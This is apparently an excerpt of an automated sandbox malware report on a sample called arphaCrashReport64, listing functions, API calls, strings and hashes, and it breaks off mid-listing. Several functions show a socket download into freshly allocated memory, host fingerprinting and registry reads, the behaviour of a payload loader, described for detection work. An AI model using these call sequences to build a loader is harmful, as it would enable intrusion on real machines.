String ID: Mov$NtTerminateThread$NtTraceEvent$driver$ntdll.dll$run
API String ID: 2320672033-2918648053
Opcode ID: 7b1ee9c18eb7b140bc95ef8b353150d332ff35e3fc96c6eef656a7be9ee323cc
Instruction ID: ef83546e604edb930f1e17670e1bfb1499d1d48a9011b41000ce23c199caa9fe
Opcode Fuzzy Hash: 7b1ee9c18eb7b140bc95ef8b353150d332ff35e3fc96c6eef656a7be9ee323cc
Instruction Fuzzy Hash: 7D619F31605B8182EB50DB21A8DC3EA77A9FFA9B84FA44115DBCA47B95DFBCC584C700

Function 00007FFD944763F8 Relevance: 28.9, APIs: 19, Instructions: 377
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringW.KERNELBASE ref: 00007FFD9447646A
GetLastError.KERNEL32 ref: 00007FFD94476480
MultiByteToWideChar.KERNEL32 ref: 00007FFD9447652A
malloc.LIBCMT ref: 00007FFD9447659B
MultiByteToWideChar.KERNEL32 ref: 00007FFD944765D2
LCMapStringW.KERNEL32 ref: 00007FFD944765F7
LCMapStringW.KERNEL32 ref: 00007FFD94476647
malloc.LIBCMT ref: 00007FFD9447669A
LCMapStringW.KERNEL32 ref: 00007FFD944766D4
WideCharToMultiByte.KERNEL32 ref: 00007FFD94476717
free.LIBCMT ref: 00007FFD94476728
free.LIBCMT ref: 00007FFD94476736
LCMapStringA.KERNEL32 ref: 00007FFD944767C5
malloc.LIBCMT ref: 00007FFD94476833
LCMapStringA.KERNEL32 ref: 00007FFD9447687C
free.LIBCMT ref: 00007FFD944768C4
LCMapStringA.KERNEL32 ref: 00007FFD944768E4
free.LIBCMT ref: 00007FFD944768F6
free.LIBCMT ref: 00007FFD94476908

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: String$free$ByteCharMultiWidemalloc$ErrorLast
String ID:
API String ID: 1837315383-0
Opcode ID: 400ea71fb48555d96f43ecf733a5580efca3da6b475d4926e1cb498674c2e82d
Instruction ID: 399974ff3a465d3eb00c6ed89a667c900a7181be0aabf02d04f65c3dd4c9bd13
Opcode Fuzzy Hash: 400ea71fb48555d96f43ecf733a5580efca3da6b475d4926e1cb498674c2e82d
Instruction Fuzzy Hash: DAF1D632B086818AE7308F64D4A056977A2FB457E8F54C235DA5D9BB9ECFBCE542C700

Function 00000210AC6E0C79 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 249
networkmemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 00000210AC6E0CE7
socket.WS2_32 ref: 00000210AC6E0D0E
getaddrinfo.WS2_32 ref: 00000210AC6E0D40
connect.WS2_32 ref: 00000210AC6E0D75
send.WS2_32 ref: 00000210AC6E0D8B
recv.WS2_32 ref: 00000210AC6E0DB5
NtAllocateVirtualMemory.NTDLL ref: 00000210AC6E0DEE
NtAllocateVirtualMemory.NTDLL ref: 00000210AC6E0E37
recv.WS2_32 ref: 00000210AC6E0E50
closesocket.WS2_32 ref: 00000210AC6E0E90
WSACleanup.WS2_32 ref: 00000210AC6E0E93

Strings

@, xrefs: 00000210AC6E0E0A

Memory Dump Source

Source File: 00000005.00000002.3989977910.00000210AC6E0000.00000040.00000020.00020000.00000000.sdmp, Offset: 00000210AC6E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ac6e0000_arphaCrashReport64.jbxd

Similarity

API ID: AllocateMemoryVirtualrecv$CleanupStartupclosesocketconnectgetaddrinfosendsocket
String ID: @
API String ID: 2759442282-2766056989
Opcode ID: 56a3fed7da5864b94984c1579b8c5a1be58e3b0788e64a60c5c1e2669a7318f1
Instruction ID: d06a4ea096220999edae7241850d7361f74726bfbcbcbcf0abbbe3174dc31d51
Opcode Fuzzy Hash: 56a3fed7da5864b94984c1579b8c5a1be58e3b0788e64a60c5c1e2669a7318f1
Instruction Fuzzy Hash: 4671D134208B084FDB68EF2888897F9B7E1FF98304F10466ED58AC7192DE31E5468B80

Function 00000210AE4C1E80 Relevance: 13.7, APIs: 9, Instructions: 220
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00000210AE4C1ED5
GetCurrentThreadId.KERNEL32 ref: 00000210AE4C1EE5
VirtualAlloc.KERNEL32 ref: 00000210AE4C1F6D
VirtualFree.KERNEL32 ref: 00000210AE4C1FA7
VirtualAlloc.KERNEL32 ref: 00000210AE4C200F
VirtualFree.KERNEL32 ref: 00000210AE4C2049
VirtualAlloc.KERNEL32 ref: 00000210AE4C20BC
VirtualFree.KERNEL32 ref: 00000210AE4C20F6
GetCurrentThreadId.KERNEL32 ref: 00000210AE4C2173

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Virtual$AllocFree$CurrentThread$Sleep
String ID:
API String ID: 2090942847-0
Opcode ID: 0efdc29df09f4a7188a29b8634807d3c226196f672a366a7f8e6bc1b669edc25
Instruction ID: 6ba0038c78f89b44db2902deac077c6b2b3a5531d25d7d03b0837746c3d5ee8c
Opcode Fuzzy Hash: 0efdc29df09f4a7188a29b8634807d3c226196f672a366a7f8e6bc1b669edc25
Instruction Fuzzy Hash: AF91BF32301B8097E7199F2AD2883D977A9FB99740F248129DB8653B54DFB4E4F2C740

Function 00000210AE1D0020 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 457memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 00000210AE1D011F

Strings

@, xrefs: 00000210AE1D00ED
XVXT, xrefs: 00000210AE1D042B

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID: @$XVXT
API String ID: 2167126740-4063696373
Opcode ID: 6b8ca969d0edacce73b4e7c308406ec1214b92f2b93040ed9f05acbd5687362f
Instruction ID: c2567f416e708fbd21d613ddb441f5d78f42b53c3d45123fe08091df0219ac55
Opcode Fuzzy Hash: 6b8ca969d0edacce73b4e7c308406ec1214b92f2b93040ed9f05acbd5687362f
Instruction Fuzzy Hash: ACD1A630614A198FDB58DF18D8D8BF977E2FF69301F24416DD58AC7142DA75E882CB40

Function 00000210AE1D0091 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 296memorylibrarynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 00000210AE1D011F
LdrLoadDll.NTDLL ref: 00000210AE1D02D8

Strings

@, xrefs: 00000210AE1D00ED

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: AllocateLoadMemoryVirtual
String ID: @
API String ID: 582251630-2766056989
Opcode ID: c2f7a8c889b9dcb2227e988a3cb537535b5236b3493b5ac8ebfb49acde9b56f0
Instruction ID: fbddd402af3cae4d14a64ee5ae3e6e5a521b988f3d930a3d979aada8949c82c6
Opcode Fuzzy Hash: c2f7a8c889b9dcb2227e988a3cb537535b5236b3493b5ac8ebfb49acde9b56f0
Instruction Fuzzy Hash: FE919030614A198FDB58DF58D8D87F9B7E2FF69301F24416DE58AC7292DA70E886CB40

Function 00007FFD94471050 Relevance: 82.4, APIs: 8, Strings: 39, Instructions: 139
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00007FFD944710D4
RegOpenKeyExW.KERNELBASE ref: 00007FFD944710FB
GetProcAddress.KERNEL32 ref: 00007FFD944711EB
RegGetValueW.KERNELBASE ref: 00007FFD9447122E
GetProcAddress.KERNEL32 ref: 00007FFD9447128B
RegCloseKey.KERNELBASE ref: 00007FFD94471296
GetProcAddress.KERNEL32 ref: 00007FFD9447131F
VirtualProtect.KERNELBASE ref: 00007FFD94471345

Strings

e, xrefs: 00007FFD944711A3
e, xrefs: 00007FFD9447118B
c, xrefs: 00007FFD94471307
a, xrefs: 00007FFD944711BB
l, xrefs: 00007FFD94471258
lpData, xrefs: 00007FFD94471206
e, xrefs: 00007FFD944711D3
u, xrefs: 00007FFD944712C7
s, xrefs: 00007FFD94471262
R, xrefs: 00007FFD94471183
r, xrefs: 00007FFD944712B7
e, xrefs: 00007FFD94471267
r, xrefs: 00007FFD944712E7
G, xrefs: 00007FFD9447119B
u, xrefs: 00007FFD944711CB
l, xrefs: 00007FFD944712D7
C, xrefs: 00007FFD94471253
e, xrefs: 00007FFD94471249
W, xrefs: 00007FFD944711DB
e, xrefs: 00007FFD944712FF
e, xrefs: 00007FFD94471274
g, xrefs: 00007FFD94471193
i, xrefs: 00007FFD944712AF
t, xrefs: 00007FFD944711AB
t, xrefs: 00007FFD944712BF
t, xrefs: 00007FFD944712F7
l, xrefs: 00007FFD944711C3
a, xrefs: 00007FFD944712CF
V, xrefs: 00007FFD944711B3
SOFTWARE, xrefs: 00007FFD944710DF
o, xrefs: 00007FFD944712EF
R, xrefs: 00007FFD94471244
V, xrefs: 00007FFD944712A7
g, xrefs: 00007FFD9447124E
K, xrefs: 00007FFD9447126C
y, xrefs: 00007FFD9447127C
P, xrefs: 00007FFD944712DF
o, xrefs: 00007FFD9447125D
t, xrefs: 00007FFD9447130F

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$CloseOpenProtectValueVirtual
String ID: C$G$K$P$R$R$SOFTWARE$V$V$W$a$a$c$e$e$e$e$e$e$e$g$g$i$l$l$l$lpData$o$o$r$r$s$t$t$t$t$u$u$y
API String ID: 2887040864-1668064147
Opcode ID: 66db1752739624b81b7b7db69dcd4bd46bfa9ff92f5b6477fe3715e5f2e82e2d
Instruction ID: 367700bde3465d732632e1643108687fd62af12ea20b106442724b3a1ce7bef8
Opcode Fuzzy Hash: 66db1752739624b81b7b7db69dcd4bd46bfa9ff92f5b6477fe3715e5f2e82e2d
Instruction Fuzzy Hash: 03810A2260CAC1C9E721C768E45835BBF91E792748F448169D3CC47A9ACFBEC149CB26

Function 00000210AE4C3560 Relevance: 43.9, APIs: 11, Strings: 14, Instructions: 188
librarystringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000210AE4C3430: GetCurrentHwProfileA.ADVAPI32 ref: 00000210AE4C346F
Part of subcall function 00000210AE4C3430: GetComputerNameA.KERNEL32 ref: 00000210AE4C34C5

lstrcat.KERNEL32 ref: 00000210AE4C35C6

Part of subcall function 00000210AE4D21D0: GetComputerNameA.KERNEL32 ref: 00000210AE4D222B
Part of subcall function 00000210AE4D21D0: lstrcpy.KERNEL32 ref: 00000210AE4D2241
Part of subcall function 00000210AE4D21D0: wsprintfA.USER32 ref: 00000210AE4D2270

GetComputerNameA.KERNEL32 ref: 00000210AE4C35FF
GetCurrentProcessId.KERNEL32 ref: 00000210AE4C3612
LoadLibraryA.KERNEL32 ref: 00000210AE4C367A
GetProcAddress.KERNEL32 ref: 00000210AE4C368A
GetUserNameA.ADVAPI32 ref: 00000210AE4C3699
CreateToolhelp32Snapshot.KERNEL32 ref: 00000210AE4C3703
lstrlen.KERNEL32 ref: 00000210AE4C3763
_localtime64.LIBCMT ref: 00000210AE4C377C
wsprintfA.USER32 ref: 00000210AE4C37B2
GetModuleFileNameA.KERNEL32 ref: 00000210AE4C383C

Strings

Adva, xrefs: 00000210AE4C364E
%d-%d-%d %d:%d, xrefs: 00000210AE4C37A8
ameA, xrefs: 00000210AE4C363D
Time, xrefs: 00000210AE4C3751, 00000210AE4C37BB
2, xrefs: 00000210AE4C3621
2, xrefs: 00000210AE4C35CC
Remark, xrefs: 00000210AE4C35D4
serN, xrefs: 00000210AE4C3633
pi32, xrefs: 00000210AE4C3658
.dll, xrefs: 00000210AE4C3662
run, xrefs: 00000210AE4C3857
driver, xrefs: 00000210AE4C3842
Group, xrefs: 00000210AE4C37DD, 00000210AE4C37FC
GetU, xrefs: 00000210AE4C3629

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Name$Computer$Currentwsprintf$AddressCreateFileLibraryLoadModuleProcProcessProfileSnapshotToolhelp32User_localtime64lstrcatlstrcpylstrlen
String ID: %d-%d-%d %d:%d$.dll$2$2$Adva$GetU$Group$Remark$Time$ameA$driver$pi32$run$serN
API String ID: 2203227563-3218832578
Opcode ID: 4c9df6ceb10faf31e691ca73e19ae76b27f32ce6c5577c60513530c26abd7d4c
Instruction ID: cb29ae52403506326bec47c86d14938c517fe8daa345c49b2452eff05396c8e2
Opcode Fuzzy Hash: 4c9df6ceb10faf31e691ca73e19ae76b27f32ce6c5577c60513530c26abd7d4c
Instruction Fuzzy Hash: A89192322057C089EB20DB34DC883DD7765FBA47A4F644216DB9947AEADFB4C685C700

Function 00000210AE4C1BF0 Relevance: 19.7, APIs: 13, Instructions: 152
networktimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32 ref: 00000210AE4C1C2D
timeGetTime.WINMM ref: 00000210AE4C1C3F
socket.WS2_32 ref: 00000210AE4C1C66
gethostbyname.WS2_32 ref: 00000210AE4C1C80
htons.WS2_32 ref: 00000210AE4C1C97
connect.WS2_32 ref: 00000210AE4C1CBB
getsockname.WS2_32 ref: 00000210AE4C1CE3
inet_ntop.WS2_32 ref: 00000210AE4C1D11
setsockopt.WS2_32 ref: 00000210AE4C1D39
setsockopt.WS2_32 ref: 00000210AE4C1D61
setsockopt.WS2_32 ref: 00000210AE4C1D89
setsockopt.WS2_32 ref: 00000210AE4C1DAD
WSAIoctl.WS2_32 ref: 00000210AE4C1DF8

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: setsockopt$EventIoctlResetTimeconnectgethostbynamegetsocknamehtonsinet_ntopsockettime
String ID:
API String ID: 4102826399-0
Opcode ID: 69823b34bc752394f411954f9e383b6d2b1dd5977c59d891b4d8328fbe2701bc
Instruction ID: e5468b208d9595d526094768e3904b20f4a2b8eca6e8b67fae78215f871e5785
Opcode Fuzzy Hash: 69823b34bc752394f411954f9e383b6d2b1dd5977c59d891b4d8328fbe2701bc
Instruction Fuzzy Hash: E4712772700B419AEB20CF65E4847D933B9FB98798F204125EF8957B98DFB8C5A9C740

Function 00000210AE4C4430 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterClassExA.USER32 ref: 00000210AE4C4476
GetModuleHandleA.KERNEL32 ref: 00000210AE4C448E
CreateWindowExA.USER32 ref: 00000210AE4C44D0
GetMessageA.USER32 ref: 00000210AE4C44E8
TranslateMessage.USER32 ref: 00000210AE4C44FC
DispatchMessageA.USER32 ref: 00000210AE4C4507
GetMessageA.USER32 ref: 00000210AE4C451A

Strings

QjNy1jwRYuH6aNtMf3Jz, xrefs: 00000210AE4C4457

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Message$ClassCreateDispatchHandleModuleRegisterTranslateWindow
String ID: QjNy1jwRYuH6aNtMf3Jz
API String ID: 3848795541-3621823610
Opcode ID: 3406c9ca98162bfd763306c4c3a91e589ec25171c65301aba56c24f70cb98ac9
Instruction ID: f7034773035975feb08c541e0e0e81921a080d414853eecebfcbe1e0f1014d39
Opcode Fuzzy Hash: 3406c9ca98162bfd763306c4c3a91e589ec25171c65301aba56c24f70cb98ac9
Instruction Fuzzy Hash: F3214135614B8181EB608B65F8887EA73A9FBE8724FB44216D79D43AD4DF7CC589CB00

Function 00000210AE4C21C0 Relevance: 13.6, APIs: 9, Instructions: 97
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

select.WS2_32 ref: 00000210AE4C2255
recv.WS2_32 ref: 00000210AE4C2274
_errno.LIBCMT ref: 00000210AE4C2280
_errno.LIBCMT ref: 00000210AE4C228A
_errno.LIBCMT ref: 00000210AE4C2297
setsockopt.WS2_32 ref: 00000210AE4C22FF
CancelIo.KERNEL32 ref: 00000210AE4C2309
closesocket.WS2_32 ref: 00000210AE4C2319
SetEvent.KERNEL32 ref: 00000210AE4C2326

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$CancelEventclosesocketrecvselectsetsockopt
String ID:
API String ID: 2233327707-0
Opcode ID: a05aeac41a3b76157148e5e7acf1457028f623d998fb654da6be27c4cb197c78
Instruction ID: 6c7c70b4f75b6981f867c891d0fafedf5fa46631c14b7a45f3076551ad720fb2
Opcode Fuzzy Hash: a05aeac41a3b76157148e5e7acf1457028f623d998fb654da6be27c4cb197c78
Instruction Fuzzy Hash: 1A415F32205B8081F7609F39E4883DA77A8FBA5B94F744225EBD947A95CFB8C885C704

Function 00007FF647D4E8B0 Relevance: 13.6, APIs: 9, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF647D4E8BF

Part of subcall function 00007FF647D4DDC0: __vcrt_initialize.LIBVCRUNTIME ref: 00007FF647D4DDE2

__scrt_release_startup_lock.LIBCMT ref: 00007FF647D4E942
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF647D4E958
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF647D4E984
__scrt_get_show_window_mode.LIBCMT ref: 00007FF647D4E995
__scrt_is_managed_app.LIBCMT ref: 00007FF647D4E9B8
__scrt_uninitialize_crt.LIBCMT ref: 00007FF647D4E9CF
__scrt_fastfail.LIBCMT ref: 00007FF647D4EA01
__scrt_fastfail.LIBCMT ref: 00007FF647D4EA0C

Memory Dump Source

Source File: 00000005.00000002.3990661643.00007FF647D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF647D40000, based on PE: true

Associated: 00000005.00000002.3990636126.00007FF647D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3990688649.00007FF647D62000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3990714262.00007FF647D72000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3990736221.00007FF647D75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff647d40000_arphaCrashReport64.jbxd

Similarity

API ID: __scrt_fastfail__scrt_is_nonwritable_in_current_image$__scrt_get_show_window_mode__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt__vcrt_initialize
String ID:
API String ID: 1011152198-0
Opcode ID: e49450ee6f6a2700efc2b99d1c8661abeac7e54670bb419982dbb3fd25f039fb
Instruction ID: 9e303244d73dfda9fe3c318baa740607f2cd361ee30c17d9a2cc1dce57c8b83a
Opcode Fuzzy Hash: e49450ee6f6a2700efc2b99d1c8661abeac7e54670bb419982dbb3fd25f039fb
Instruction Fuzzy Hash: E8318121E3C243E6FB64BB35EA153B923919F41784F444734E64EDB2E7DE2CB804A241

Function 00007FFD944718E0 Relevance: 10.6, APIs: 7, Instructions: 87
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FFD94473B20: HeapCreate.KERNELBASE(?,?,?,?,00007FFD944718F5), ref: 00007FFD94473B32
Part of subcall function 00007FFD94473B20: HeapSetInformation.KERNEL32 ref: 00007FFD94473B5C

_RTC_Initialize.LIBCMT ref: 00007FFD94471910
GetCommandLineA.KERNEL32 ref: 00007FFD94471915

Part of subcall function 00007FFD944738FC: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FFD94471927), ref: 00007FFD9447392B
Part of subcall function 00007FFD944738FC: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FFD94471927), ref: 00007FFD9447396B

Part of subcall function 00007FFD944731A8: GetStartupInfoA.KERNEL32 ref: 00007FFD944731CD

__setargv.LIBCMT ref: 00007FFD9447193E
_cinit.LIBCMT ref: 00007FFD94471952

Part of subcall function 00007FFD944728E4: FlsFree.KERNEL32(?,?,?,?,00007FFD944719A3), ref: 00007FFD944728F3
Part of subcall function 00007FFD944728E4: DeleteCriticalSection.KERNEL32(?,?,?,000005AA,?,?,?,?,?,?,?,?,?,00007FFD944719A3), ref: 00007FFD9447430E
Part of subcall function 00007FFD944728E4: free.LIBCMT ref: 00007FFD94474317
Part of subcall function 00007FFD944728E4: DeleteCriticalSection.KERNEL32(?,?,?,000005AA,?,?,?,?,?,?,?,?,?,00007FFD944719A3), ref: 00007FFD94474337

Part of subcall function 00007FFD94473498: free.LIBCMT ref: 00007FFD944734DF

Part of subcall function 00007FFD94472CD0: Sleep.KERNEL32(?,?,?,00007FFD944729F3,?,?,?,00007FFD9447253D,?,?,?,?,00007FFD94471ECD), ref: 00007FFD94472D15

FlsSetValue.KERNEL32 ref: 00007FFD944719D8
GetCurrentThreadId.KERNEL32 ref: 00007FFD944719EC
free.LIBCMT ref: 00007FFD944719FB

Part of subcall function 00007FFD94471EA8: HeapFree.KERNEL32(?,?,?,00007FFD944716FD), ref: 00007FFD94471EBE
Part of subcall function 00007FFD94471EA8: _errno.LIBCMT ref: 00007FFD94471EC8
Part of subcall function 00007FFD94471EA8: GetLastError.KERNEL32(?,?,?,00007FFD944716FD), ref: 00007FFD94471ED0

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: Heapfree$CriticalDeleteEnvironmentFreeSectionStrings$CommandCreateCurrentErrorInfoInformationInitializeLastLineSleepStartupThreadValue__setargv_cinit_errno
String ID:
API String ID: 1549890855-0
Opcode ID: 40821d3dc59cbf3c64e4d84b918f9b165b5e38ad200d41ae6754068b14a37dbd
Instruction ID: 0dbefb84d16f0d19a25ffe6967fb24cbe97491aa09670b2eff993746ab99f10f
Opcode Fuzzy Hash: 40821d3dc59cbf3c64e4d84b918f9b165b5e38ad200d41ae6754068b14a37dbd
Instruction Fuzzy Hash: A831CE70F0D60341FAB46BF159F22792294AF52351F14CA35D81E872CFEEACA543D662

Function 00007FF647D46790 Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32 ref: 00007FF647D467A4
InitCommonControlsEx.COMCTL32 ref: 00007FF647D467BF

Part of subcall function 00007FF647D42DB0: GetCurrentThreadId.KERNEL32 ref: 00007FF647D42DDF

GetCommandLineW.KERNEL32 ref: 00007FF647D467D9

Part of subcall function 00007FF647D44FE0: CommandLineToArgvW.SHELL32 ref: 00007FF647D45028
Part of subcall function 00007FF647D44FE0: SetWindowLocalDump.ARPHADUMP64 ref: 00007FF647D45059
Part of subcall function 00007FF647D44FE0: SetWindowLocalDump.ARPHADUMP64 ref: 00007FF647D45094
Part of subcall function 00007FF647D44FE0: SetWindowLocalDump.ARPHADUMP64 ref: 00007FF647D450F1

EnterCriticalSection.KERNEL32 ref: 00007FF647D467F4
DestroyWindow.USER32 ref: 00007FF647D46812
LeaveCriticalSection.KERNEL32 ref: 00007FF647D46857
CoUninitialize.OLE32 ref: 00007FF647D468A7

Memory Dump Source

Source File: 00000005.00000002.3990661643.00007FF647D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF647D40000, based on PE: true

Associated: 00000005.00000002.3990636126.00007FF647D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3990688649.00007FF647D62000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3990714262.00007FF647D72000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3990736221.00007FF647D75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff647d40000_arphaCrashReport64.jbxd

Similarity

API ID: Window$DumpLocal$CommandCriticalLineSection$ArgvCommonControlsCurrentDestroyEnterInitInitializeLeaveThreadUninitialize
String ID:
API String ID: 4232477309-0
Opcode ID: 6016dd98208aa9a108adf78c0108ff9928f39f32039d0d110344441888cf9f30
Instruction ID: 3073e55edbdec4bddaba3a7dd3fe4885bf36c90aa7fb0a6578bafbbfcda3cb3c
Opcode Fuzzy Hash: 6016dd98208aa9a108adf78c0108ff9928f39f32039d0d110344441888cf9f30
Instruction Fuzzy Hash: C7314A32A2CA42C6EB14BF21E9502B973A0FF94B84F484735DA4E87695CF3CE544D791

Function 00007FFD94474FD0 Relevance: 9.1, APIs: 6, Instructions: 122
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_getptd.LIBCMT ref: 00007FFD94474FEF

Part of subcall function 00007FFD94474B60: _getptd.LIBCMT ref: 00007FFD94474B6A

Part of subcall function 00007FFD94474CC8: GetOEMCP.KERNEL32(?,?,?,?,?,?,?,00007FFD9447500A,?,?,?,?,?,00007FFD944751DF), ref: 00007FFD94474CF2

Part of subcall function 00007FFD94472C64: malloc.LIBCMT ref: 00007FFD94472C83
Part of subcall function 00007FFD94472C64: Sleep.KERNEL32(?,?,00000000,00007FFD944743D5,?,?,?,00007FFD9447447F), ref: 00007FFD94472C9A

free.LIBCMT ref: 00007FFD9447507B

Part of subcall function 00007FFD94471EA8: HeapFree.KERNEL32(?,?,?,00007FFD944716FD), ref: 00007FFD94471EBE
Part of subcall function 00007FFD94471EA8: _errno.LIBCMT ref: 00007FFD94471EC8
